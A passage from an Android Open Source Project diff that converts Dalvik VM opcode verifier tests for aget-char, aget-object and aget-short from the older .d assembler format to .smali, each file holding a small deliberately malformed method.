+.class  public Ldot/junit/opcodes/aget_char/d/T_aget_char_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([CF)C
+.registers 9
+
+       aget-char v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_9.d
deleted file mode 100644
index 4053996..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_9.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_char_9.java
-.class public dot.junit.opcodes.aget_char.d.T_aget_char_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([CI)C
-.limit regs 9
-
-       aget-char v0, v7, v9
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_9.smali
new file mode 100644
index 0000000..1f80eac
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_9.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_char_9.java"
+.class  public Ldot/junit/opcodes/aget_char/d/T_aget_char_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([CI)C
+.registers 9
+
+       aget-char v0, v7, v9
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_1.d
deleted file mode 100644
index 8f4a03b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_object_1.java
-.class public dot.junit.opcodes.aget_object.d.T_aget_object_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([Ljava/lang/String;I)Ljava/lang/String;
-.limit regs 9
-
-       aget-object v0, v7, v8
-       return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_1.smali
new file mode 100644
index 0000000..ac8a16a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_object_1.java"
+.class  public Ldot/junit/opcodes/aget_object/d/T_aget_object_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/String;I)Ljava/lang/String;
+.registers 9
+
+       aget-object v0, v7, v8
+       return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_2.d
deleted file mode 100644
index cbdd6b4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_object_2.java
-.class public dot.junit.opcodes.aget_object.d.T_aget_object_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([Ljava/lang/String;I)Ljava/lang/String;
-.limit regs 9
-
-       const-wide v1, 1.0
-       aget-object v0, v7, v1
-       return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_2.smali
new file mode 100644
index 0000000..169488b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_object_2.java"
+.class  public Ldot/junit/opcodes/aget_object/d/T_aget_object_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/String;I)Ljava/lang/String;
+.registers 9
+
+       const-wide v1, 1.0
+       aget-object v0, v7, v1
+       return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_3.d
deleted file mode 100644
index c89b572..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_object_3.java
-.class public dot.junit.opcodes.aget_object.d.T_aget_object_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([Ljava/lang/String;I)Ljava/lang/String;
-.limit regs 9
-
-       const-wide v1, 1
-       aget-object v0, v7, v1
-       return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_3.smali
new file mode 100644
index 0000000..2e046e3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_object_3.java"
+.class  public Ldot/junit/opcodes/aget_object/d/T_aget_object_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/String;I)Ljava/lang/String;
+.registers 9
+
+       const-wide v1, 1
+       aget-object v0, v7, v1
+       return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_4.d
deleted file mode 100644
index b881a16..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_object_4.java
-.class public dot.junit.opcodes.aget_object.d.T_aget_object_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;I)Ljava/lang/String;
-.limit regs 9
-
-       aget-object v0, v7, v8
-       return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_4.smali
new file mode 100644
index 0000000..a170ce5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_object_4.java"
+.class  public Ldot/junit/opcodes/aget_object/d/T_aget_object_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;I)Ljava/lang/String;
+.registers 9
+
+       aget-object v0, v7, v8
+       return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_5.d
deleted file mode 100644
index 7db8d5b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_object_5.java
-.class public dot.junit.opcodes.aget_object.d.T_aget_object_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([FI)Ljava/lang/String;
-.limit regs 9
-
-       aget-object v0, v7, v8
-       return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_5.smali
new file mode 100644
index 0000000..bad8f36
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_object_5.java"
+.class  public Ldot/junit/opcodes/aget_object/d/T_aget_object_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([FI)Ljava/lang/String;
+.registers 9
+
+       aget-object v0, v7, v8
+       return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_6.d
deleted file mode 100644
index a349943..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_object_6.java
-.class public dot.junit.opcodes.aget_object.d.T_aget_object_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([JI)Ljava/lang/String;
-.limit regs 9
-
-       aget-object v0, v7, v8
-       return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_6.smali
new file mode 100644
index 0000000..990063f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_object_6.java"
+.class  public Ldot/junit/opcodes/aget_object/d/T_aget_object_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JI)Ljava/lang/String;
+.registers 9
+
+       aget-object v0, v7, v8
+       return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_7.d
deleted file mode 100644
index 8b904d2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_7.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_object_7.java
-.class public dot.junit.opcodes.aget_object.d.T_aget_object_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([Ljava/lang/String;I)Ljava/lang/String;
-.limit regs 9
-
-       aget-object v0, v7, v6
-       return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_7.smali
new file mode 100644
index 0000000..e23a71f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_7.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_object_7.java"
+.class  public Ldot/junit/opcodes/aget_object/d/T_aget_object_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/String;I)Ljava/lang/String;
+.registers 9
+
+       aget-object v0, v7, v6
+       return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_8.d
deleted file mode 100644
index 89ee37d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_8.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_object_8.java
-.class public dot.junit.opcodes.aget_object.d.T_aget_object_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([Ljava/lang/String;F)Ljava/lang/String;
-.limit regs 9
-
-       aget-object v0, v7, v8
-       return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_8.smali
new file mode 100644
index 0000000..d96a916
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_8.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_object_8.java"
+.class  public Ldot/junit/opcodes/aget_object/d/T_aget_object_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/String;F)Ljava/lang/String;
+.registers 9
+
+       aget-object v0, v7, v8
+       return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_9.d
deleted file mode 100644
index e977101..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_9.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_object_9.java
-.class public dot.junit.opcodes.aget_object.d.T_aget_object_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([Ljava/lang/String;I)Ljava/lang/String;
-.limit regs 9
-
-       aget-object v0, v7, v9
-       return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_9.smali
new file mode 100644
index 0000000..28a0448
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_9.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_object_9.java"
+.class  public Ldot/junit/opcodes/aget_object/d/T_aget_object_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/String;I)Ljava/lang/String;
+.registers 9
+
+       aget-object v0, v7, v9
+       return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_1.d
deleted file mode 100644
index 3a1d451..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_short_1.java
-.class public dot.junit.opcodes.aget_short.d.T_aget_short_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([SI)S
-.limit regs 9
-
-       aget-short v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_1.smali
new file mode 100644
index 0000000..b4e9e9b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_short_1.java"
+.class  public Ldot/junit/opcodes/aget_short/d/T_aget_short_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([SI)S
+.registers 9
+
+       aget-short v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_2.d
deleted file mode 100644
index 67bb914..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_short_2.java
-.class public dot.junit.opcodes.aget_short.d.T_aget_short_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([SI)S
-.limit regs 9
-
-       const-wide v1, 1.0
-       aget-short v0, v7, v1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_2.smali
new file mode 100644
index 0000000..28e1d57
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_short_2.java"
+.class  public Ldot/junit/opcodes/aget_short/d/T_aget_short_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([SI)S
+.registers 9
+
+       const-wide v1, 1.0
+       aget-short v0, v7, v1
+       return v0
+.end method
+
+
